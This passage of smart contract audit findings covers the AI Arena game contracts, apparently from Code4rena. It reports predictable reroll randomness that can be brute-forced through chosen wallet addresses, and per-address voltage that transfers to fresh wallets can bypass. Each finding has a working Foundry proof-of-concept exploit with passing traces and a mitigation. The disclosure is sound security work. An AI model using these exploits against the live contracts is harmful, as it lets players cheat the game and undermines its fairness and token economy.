It takes the address of the receiver and the amount of existing fighters. Hence, a user could create a lot of wallets computing the output hash in order to obtain a wanted stat, for example, specific element or weight. After that, he just needs to request the signature from the delegated address and mint the fighter with his previously computed stat.

Proof of Concept

I'm just gonna proof the first case where a user can reRoll the DNA of a fighter in order to achieve a wanted stats.

This test uses the setup from the FighterFarm.t.sol

    function testPredictableRerollStats() public {
        _neuronContract.addSpender(address(_fighterFarmContract));

        address userMainWallet = makeAddr("userMain");
        address calculatedAlterWallet;
        uint256 tokenId = 0;

        _mintFromMergingPool(userMainWallet);
        _fundUserWith4kNeuronByTreasury(userMainWallet);
        
        ( , uint256 element, , , , , , , ) = _fighterFarmContract.fighters(tokenId);
        // The minted fighter had element number 1
        assertEq(element, 1);

        // However, the user wants to obtain a fighter with element number 2

        // The user should create new wallets and use their public address in order
        // to achieve this effect, however, since it is not possible to do this
        // in the tests, we are gonna iterate to incrementing address to achieve
        // the result
        uint256 i;
        while(true){
            address newAddress = address(uint160(uint160(address(0xdead)) + i));
            uint256 newDNA = uint256(keccak256(abi.encode(newAddress, tokenId, 0)));
            uint256 newElement = newDNA % 3;
            if(newElement == 2){
                calculatedAlterWallet = newAddress;
                break;
            }
            i++;
        }
        
        // At this point, the user has the alter account that will make his fighter
        // reroll to the element he wanted (2)
        vm.startPrank(userMainWallet);
        // The user can transfer his NFT because he has not staked NRN and the receiver
        // does not have more than 10 fighters
        _fighterFarmContract.safeTransferFrom(userMainWallet, calculatedAlterWallet, tokenId);
        _neuronContract.transfer(calculatedAlterWallet, 4_000 ether);
        vm.stopPrank();

        vm.startPrank(calculatedAlterWallet);
        _fighterFarmContract.reRoll(uint8(tokenId), 0);
        _fighterFarmContract.safeTransferFrom(calculatedAlterWallet, userMainWallet, tokenId);
        vm.stopPrank();

        // The user now owns the fighter and the element has been changed to 2
        // that was the one that wanted the user
        ( , uint256 elementObtained, , , , , , , ) = _fighterFarmContract.fighters(tokenId);
        // The minted fighter had element number 1
        assertEq(elementObtained, 2);
    }

Output traces

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] testPredictableRerollStats() (gas: 650965)
Traces:
  [650965] FighterFarmTest::testPredictableRerollStats()
    ├─ [27180] Neuron::addSpender(FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492])
    │   ├─ emit RoleGranted(role: 0x7434c6f201a551bfd17336985361933e0c4935b520dac8a49d937b325f7d5c0a, account: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], sender: FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1])
    │   └─ ← ()
    ├─ [0] VM::addr(2872453350390892757338897205262552825254500323964957335827005705468983314903 [2.872e75]) [staticcall]
    │   └─ ← userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6]
    ├─ [0] VM::label(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], "userMain")
    │   └─ ← ()
    ├─ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e])
    │   └─ ← ()
    ├─ [411521] FighterFarm::mintFromMergingPool(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], "_neuralNetHash", "original", [1, 80])
    │   ├─ [83687] AiArenaHelper::createPhysicalAttributes(48996689164381339297717689236250537463348159120191593528428329245764461359606 [4.899e76], 0, 0, false) [staticcall]
    │   │   └─ ← FighterPhysicalAttributes({ head: 1, eyes: 4, mouth: 1, body: 1, hands: 0, feet: 1 })
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], tokenId: 0)
    │   ├─ [2260] FighterOps::d8d02d30(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   ├─ emit FighterCreated(id: 0, weight: 80, element: 1, generation: 0)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← ()
    ├─ [29938] Neuron::transfer(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], 4000000000000000000000 [4e21])
    │   ├─ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], value: 4000000000000000000000 [4e21])
    │   └─ ← true
    ├─ [586] Neuron::balanceOf(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6]) [staticcall]
    │   └─ ← 4000000000000000000000 [4e21]
    ├─ [4390] FighterFarm::fighters(0) [staticcall]
    │   └─ ← 80, 1, FighterPhysicalAttributes({ head: 1, eyes: 4, mouth: 1, body: 1, hands: 0, feet: 1 }), 0, "_neuralNetHash", "original", 0, 0, false
    ├─ [0] VM::startPrank(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6])
    │   └─ ← ()
    ├─ [32137] FighterFarm::safeTransferFrom(userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], 0x000000000000000000000000000000000000dEaD, 0)
    │   ├─ emit Approval(owner: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], approved: 0x0000000000000000000000000000000000000000, tokenId: 0)
    │   ├─ emit Transfer(from: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], to: 0x000000000000000000000000000000000000dEaD, tokenId: 0)
    │   └─ ← ()
    ├─ [20111] Neuron::transfer(0x000000000000000000000000000000000000dEaD, 4000000000000000000000 [4e21])
    │   ├─ emit Transfer(from: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], to: 0x000000000000000000000000000000000000dEaD, value: 4000000000000000000000 [4e21])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000dEaD)
    │   └─ ← ()
    ├─ [107687] FighterFarm::reRoll(0, 0)
    │   ├─ [586] Neuron::balanceOf(0x000000000000000000000000000000000000dEaD) [staticcall]
    │   │   └─ ← 4000000000000000000000 [4e21]
    │   ├─ [24933] Neuron::approveSpender(0x000000000000000000000000000000000000dEaD, 1000000000000000000000 [1e21])
    │   │   ├─ emit Approval(owner: 0x000000000000000000000000000000000000dEaD, spender: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], value: 1000000000000000000000 [1e21])
    │   │   └─ ← ()
    │   ├─ [4759] Neuron::transferFrom(0x000000000000000000000000000000000000dEaD, 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, 1000000000000000000000 [1e21])
    │   │   ├─ emit Approval(owner: 0x000000000000000000000000000000000000dEaD, spender: FighterFarm: [0xd04404bcf6d969FC0Ec22021b4736510CAcec492], value: 0)
    │   │   ├─ emit Transfer(from: 0x000000000000000000000000000000000000dEaD, to: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, value: 1000000000000000000000 [1e21])
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [33379] AiArenaHelper::createPhysicalAttributes(61060204601653085846391233538692547635011994528005699960289688575814866000132 [6.106e76], 0, 0, false) [staticcall]
    │   │   └─ ← FighterPhysicalAttributes({ head: 4, eyes: 1, mouth: 2, body: 4, hands: 1, feet: 1 })
    │   └─ ← ()
    ├─ [23657] FighterFarm::safeTransferFrom(0x000000000000000000000000000000000000dEaD, userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], 0)
    │   ├─ emit Approval(owner: 0x000000000000000000000000000000000000dEaD, approved: 0x0000000000000000000000000000000000000000, tokenId: 0)
    │   ├─ emit Transfer(from: 0x000000000000000000000000000000000000dEaD, to: userMain: [0x4E94b3796bF2f68604EC7D1172f99Fcbb0Ed31f6], tokenId: 0)
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [4390] FighterFarm::fighters(0) [staticcall]
    │   └─ ← 76, 2, FighterPhysicalAttributes({ head: 4, eyes: 1, mouth: 2, body: 4, hands: 1, feet: 1 }), 0, "_neuralNetHash", "original", 0, 0, false
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.41ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

Use chainlink VRF instead for real random values. This way, no users can predict the output and the game would be fair.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L333-L338

Vulnerability details

Impact

Voltage is the resource needed for a user to initiate fights. It is meant to have a maximum of 100 units per address and it is refilled once a day. Each initiated battle spends 10 units of voltage, that means that a user can initiate 10 battles per day. There is also a game item to refill this 100 voltage but it costs NRN and it is meant to be used in order to not wait this 24 hours until voltage refill.

These units of voltage are attached to the owner of each fighter, that means that since it is independent of the NFT, it can be transfered between addresses and initiate unlimited amount of battles for free.

The user can initiate 10 battles, when he runs out of voltage, he transfers his fighter to an alter address and he can initiate 10 more battles for free. This can be done the amount of times that the user wants because creating a wallet is free. This feature is only possible when the user has no NRN staked, because otherwise, the NFT transfer would fail.

      function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
          return (
            _isApprovedOrOwner(msg.sender, tokenId) &&
            balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
@>          !fighterStaked[tokenId]
          );
      }

We can see in the updateBattleRecord function that no matter if the user who initiated the battle has staked NRN or not, he should have enough voltage to do it

    function updateBattleRecord(
        uint256 tokenId, 
        uint256 mergingPortion,
        uint8 battleResult,
        uint256 eloFactor,
        bool initiatorBool
    ) 
        external 
    {   
        require(msg.sender == _gameServerAddress);
        require(mergingPortion <= 100);
        address fighterOwner = _fighterFarmInstance.ownerOf(tokenId);
        require(
            !initiatorBool ||
            _voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) <= block.timestamp || 
            _voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST
        );

        _updateRecord(tokenId, battleResult);
        uint256 stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
        if (amountStaked[tokenId] + stakeAtRisk > 0) {
            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
        }
@>        if (initiatorBool) {
@>            _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST);
@>        }
        totalBattles += 1;
    }

This feature basically makes the VoltageBattery game item useless for games where no staked NRN is involved because it is possible to have unlimited amount of voltage.

Proof of Concept

Using the RankedBattle.t.sol setup, consider the following PoC

    function testPOCUnlimitedAmountOfVoltageWhenNotStaking() public {
        address playerMainAccount = makeAddr("main account");
        address playerAlterAccount = makeAddr("alter account");
        _mintFromMergingPool(playerMainAccount);

        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        // The player initiates 10 battles
        for(uint256 i; i < 10; i++){
            _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        }

        // At this point the user would have to either wait a day or user a VoltageBattery
        vm.expectRevert();
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        vm.stopPrank();

        // However, if the player transfers the fighter to an alter account, he can initiate 10 more battle for free
        vm.prank(playerMainAccount);
        _fighterFarmContract.safeTransferFrom(playerMainAccount, playerAlterAccount, 0);

        // Now the fighter can initiate 10 more fights
        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        for(uint256 i; i < 10; i++){
            _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);
        }
        vm.stopPrank();
    }

Result

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testPOCUnlimitedAmountOfVoltageWhenNotStaking() (gas: 781751)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.69ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

Attach the voltage units available to the fighter (NFT). This would disable the transfer feature

Assessed type

Error